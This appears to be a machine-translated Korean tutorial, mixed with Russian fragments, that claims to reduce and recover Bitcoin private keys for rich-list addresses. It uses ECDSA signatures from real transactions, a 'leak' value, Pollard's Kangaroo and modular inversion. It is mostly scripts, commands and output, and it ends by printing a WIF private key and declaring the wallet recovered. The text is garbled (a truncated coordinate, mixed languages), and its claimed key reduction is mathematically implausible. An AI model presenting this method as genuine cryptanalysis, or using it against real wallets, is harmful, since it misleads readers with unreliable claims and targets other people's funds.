https://www.youtube.com/embed/zu2yiaZ_LOs
이 글에서는 “BLOCKCHAIN FOLBIT LEAKS” 리스트에서 유출된 정보와 “UTXO” 에서 유출된 공개키 만 알고 개인키를 줄이는 방법을 보여드리겠습니다 .
실험적인 부분에서는 08ReducePrivateKey 스크립트를 사용하여 비트코인 지갑을 복구합니다.
타원 곡선 스칼라 곱셈은
P
곡선에 점을 여러 번 추가하는 연산입니다k
.
Q=kP=P+P+P, k times
P
타원 곡선 위의 점 이며 큰 자연수k
입니다 .모든 원시 구현에서
ECC
스칼라 곱셈은 주요 계산 연산입니다. 효율성을 개선하는 데 있어 핵심 요소는ECC
빠른 스칼라 곱셈의 구현입니다. 따라서 많은 연구자들이 가속 스칼라 곱셈 에 대한 다양한 연구를 제안했습니다 .
ECPy 라이브러리를 사용해 보자
ECPy는 다음을 제공합니다.
- ECDSA 서명
- Ed25519 서명
- ECSchnorr 서명
- 보로메오 서명
- 포인트 작업
우리의 많은 연구에서 우리는 도서관을 사용합니다
ECPy
.Google Colab
“08ReducePrivateKey” 저장소를 사용해 보자
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/08ReducePrivateKey/
ls

ECPy 라이브러리를 설치하세요:
sudo apt install python2-minimal
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
pip3 install ECPy

Python 스크립트: maxwell.py , 저장
код
하고 터미널에서 실행Google Colab
from ecpy.curves import Curve,Point
cv = Curve.get_curve('secp256k1')
G = Point(0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,
0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8,
cv)
x = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1
PUBKEY = x*G
print(PUBKEY)
실행 명령:
python3 maxwell.py

결과:
(0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63 , 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c)
x 좌표에 주의하세요
x value = 3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63
0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63
이 공개키를 “맥스웰의 허영심 공개키” 라고 합니다 .
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0x3f3979bf72ae8202983dc989aec7f2ff2ed91bdd69ce02fc0700ca100e59ddf3
0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a1 --> 0x3b78ce563f89a0ed9414f5aa28ad0d96d6795f9c63, 0xc0c686408d517dfd67c2367651380d00d126e4229631fd03f8ff35eef1a61e3c
p = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
((p-1)/2) = 0x7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a0
0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63
이 공개 키에 대해 다시 이야기해 보겠습니다!
이제 실험적인 부분으로 넘어가 보겠습니다.
우리는 Bitcoin Rich List 에서 잔액이 3개 100 BTC
이상인 서로 다른 Bitcoin 주소를 보유하고 있습니다.
1KpHWkpG7BGxDuSJKYPYVvNSC6womEZdTu
이 비트코인 주소를 얻어서 UTXO
이제 세 개의 서명을 갖게 되었습니다. ECDSA
(스크립트 적용 01BlockchainGoogleDrive )
c1ea2c9e48ce632488817781f89730d77cd4121f1c8f70a4be44d2a15e8e08d0
37다대30c6f7c6c4a2c930db979494783005a8e94d6861039fed21e3fa859b9
9dacfc8243109475383d5b30e8d5f0ba23d023bd47649064c208d4586b278436
RawTX
3개의 다른 비트코인 주소를 얻으세요
01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700
01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000
01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000
필요한 모듈을 모두 설치하세요:
bitcoin
ecdsa
utils
base58
pip2 install -r requirements.txt

breakECDSA.py 스크립트를 사용하여 비트코인 주소의 공개 키를 알아냅니다.
python2 breakECDSA.py 01000000017fbdd4c9991d0ba4fb0a0c06f6933442c17678bce6dfa4bf80e22ed530bb933c010000008a47304402206d0ab626a7e477c27602ed63b2651517af077e6f3fafda671dd9952dfcb5f0b90220168eb51a48ce7496a699a800299f15638e0a7f36ae84e84e26df0cd2a280a70e014104b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4feffffff0240597307000000001976a914211090b628fa6351fa8240232e3c2753fd5eece588ac700369d2050000001976a914ce639943ce1602e30b249faf74388ee0eeb1d3c588ac84b90700 >> PublicKeys.txt
python2 breakECDSA.py 01000000014666d430766d611cc7f2c21494e68e463ac4be8bb2f70b91693728324849e1c3010000008a473044022057a02a4abc38e2e3e1809b05402cf52faef7e101d6364d43bb0305f8796b0fb202203d1934a016c91072ffe137575734454161284ab3371a0cfc6767db7f27f24a75014104ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240cffffffff01b0feea0b000000001976a9148300ab0caebb6e85cf9e6b287a57924d1ac7c82f88ac00000000 >> PublicKeys.txt
python2 breakECDSA.py 01000000019d8e5e1bfac780b813e41517926aca95048e1dea92cbbe2a98475ff53ad38ccd000000008c493046022100c7b76326879a5ec7df2ffedb292a45c13c6f154982fc2cd7e05f0d0d0dce2d05022100d7fd43416608eaeb6356f04b601ac6edd23e0f82de44689fe5a7aa2f576637a001410480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56cffffffff01a93de702000000001976a914119fb35bad07974c1a8d47d210ca3048bb13be8788ac00000000 >> PublicKeys.txt

출시 후에는 세 개의 비트코인 주소 모두에 대한 공개 키를 받게 됩니다 .
결과는 PublicKeys.txt 파일에 저장됩니다.
Откроем файл: PublicKeys.txt
cat PublicKeys.txt

PUBKEY = 04b3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97fe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4
PUBKEY = 04ea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c
PUBKEY = 0480edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2b5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c
이러한 공개 키를 좌표점 (x,y) 형태로 만들어 보겠습니다.
(0xb3fdc0e84cd77cd018ced1fdd3ea4110d6beb942cfd38c0f6feaffc246e08b97 , 0xfe779e87e4743f55168a476433100abd4cac064be5915cf828185319480b3fb4)
(0xea7c9e85d4fb089e0b2901cd5c77f3149aa4cf711ed29a3318a4e153a67ea9cd , 0x1a22c24c8e05b66eb122db74d26fddf2cb184033fb586743ea330e15eeb8240c)
(0x80edda62d055008c28de19f4908cd052ccf63a10d708b5866b7a5b340bde49e2 , 0xb5e7be50412afb83a6c774ed5b45fdf9ad5cbbd98b7f1964f1cb180b7bc6d56c)
좌표점을 Coordinates.txt(x,y)
파일에 저장합니다.
블록체인 폴빗 유출
“블록체인 폴비트 리크스” 에서 알려진 블록체인 리크 목록을 공개해 보자 2019 год

값을 복사해 보겠습니다.
dac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae

(x,y)
이제 누설 값을 적용하여 모든 점의 좌표에 점 곱셈을 수행해 보겠습니다 .
maxwell.py 코드를 변경하고 이름을 scalarEC.py 로 변경하세요.
추가해 보자with open("Coordinates.txt", "rt") as base:
모든 새로운 좌표는 파일에 저장됩니다.SaveBase.txt
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae
B
목록에서 코드에 값을 추가하고 Python 스크립트로 저장해 보겠습니다: scalarEC.py
from ecpy.curves import Curve,Point
with open("Coordinates.txt", "rt") as base:
for line in base.read().splitlines():
Gx, Gy = map(lambda v: int(v, 16), line[1: -1].split(" , "))
cv = Curve.get_curve('secp256k1')
P = Point(Gx,Gy,cv)
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae
A = B*P
with open("SaveBase.txt", "a") as file:
file.write(str(A))
file.write("\n")
스크립트를 실행해 보겠습니다.
python3 scalarEC.py
Результат сохранился в файле: SaveBase.txt
Откроем файле: SaveBase.txt
cat SaveBase.txt

(0x92b9eeebb8c4fa108359bd31367e36b7fe65b4a7e06d533b476dee097572a4c0 , 0x4d2beb1835a2f8b85e3f61d32094dbf0b4c7a212bee42ee4612193c0653c6e56)
(0x65304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e7 , 0x7af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958)
(0x433c15b724948371877dd3c1014d59d1a13d76a29e4948903623a74767736b97 , 0x13f15f3bb28a4766952e10da9717aa3cc0bad90b0414f483718531d584721ea3)
모든 좌표점에 대한 누설 값으로 스칼라 곱셈을 한 후 새로운 점을 얻습니다
(x,y)
.
이제 이 좌표를 압축되지 않은 공개 키 형태로 다시 써 보겠습니다.
이 공개 키를 살펴보겠습니다.
0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958
이제 우리는 Pollard의 Kangaroo 방법을 사용하여 개인 키를 찾습니다.
이전에 우리는 “Pollard’s Kangaroo가 알려진 범위에서 secp256k1 PRIVATE KEY + NONCES의 이산 로그에 대한 솔루션을 찾는다” 라는 기사를 게시했습니다.
Python 스크립트 의 새로운 코드를 사용해 보겠습니다 : kangaroo.py
Pollard's Kangaroo
Telariust
다음 명령으로 gmpy2 모듈을 설치하세요.
sudo apt install python-gmpy2


다음으로 Python 스크립트를 실행합니다: kangaroo.py
python2 kangaroo.py 32 0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958


터미널에서 우리는 다음을 얻는 데 성공했습니다 "prvkey"
.
[prvkey#32] 0x00000000000000000000000000000000000000000000000000000000795f9c63
[pubkey#32] 0465304d24c0edc862843587a96ea700f86e9e70e7801ac7df9efd2de84230c3e77af6d83573849d2368a021e835c5768e1b791c0c1b4cfafb9795058df5f27958
결과는 Privkey.txt 파일에 저장됩니다.
Откроем файл командой:
cat Privkey.txt

00000000000000000000000000000000000000000000000000000000795f9c63
우리는 공개 키에 대한 축소된 개인 키를 얻었습니다.
0465304D24C0EDC862843587A96EA700F86E9E70E7801AC7DF9EFD2DE84230C3E77AF6D83573849D2368A021E835C5768E1B791C0C1B4CFAFB9795058DF5F27958
개인 키에 주의하세요:

후자는 8 цифр
공개 키 “맥스웰의 허영 공개 키” 와 일치합니다.формате HEX
0200000000000000000000003B78CE563F89A0ED9414F5AA28AD0D96D6795F9C63
A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae
이제 세 개의 비트코인 주소 중 하나에 대한 개인 키를 얻으려면 모듈
значение A
로 나누기를 수행해야 합니다.значение B
Privkey = ((A * modinv(B,N)) % N)
Python 스크립트를 사용해 보겠습니다 : calculate.py
def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise ValueError
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
A = 0x00000000000000000000000000000000000000000000000000000000795f9c63
B = 0xdac19ec586ea8aa454fd2e7090e3244cdf75a73bdb1aa970d8b0878e75df3cae
print (h(((A) * modinv(B,N)) % N))
Python 스크립트를 실행해 보겠습니다 : calculate.py
python3 calculate.py

bitaddress를 열어 확인해 보겠습니다.
ADDR: 1MjGyKiRLzq4WeuJKyFZMmkjAv7rH1TABm
WIF: 5JF9ME7zdGLDd3oyuMG7RfwgA1ByjZb2LbSwRMwM8ZKBADFLfCx
HEX: 38717b5161c2e817020a0933e1836dd0127bdef59732d77daca20ccfbf61a7ae

개인 키를 찾았습니다!
비트코인 지갑이 복구되었습니다!

이 영상은 암호화폐의 약한 서명에 대한 타원 곡선에서 데이터의 재정적 보안과 암호화를 보장하기 위해 CRYPTO DEEP TECH 포털을 위해 제작되었습니다. secp256k1
ECDSA
BITCOIN
텔레그램 : https://t.me/cryptodeeptech
비디오: https://youtu.be/zu2yiaZ_LOs
출처: https://cryptodeeptech.ru/reduce-private-key
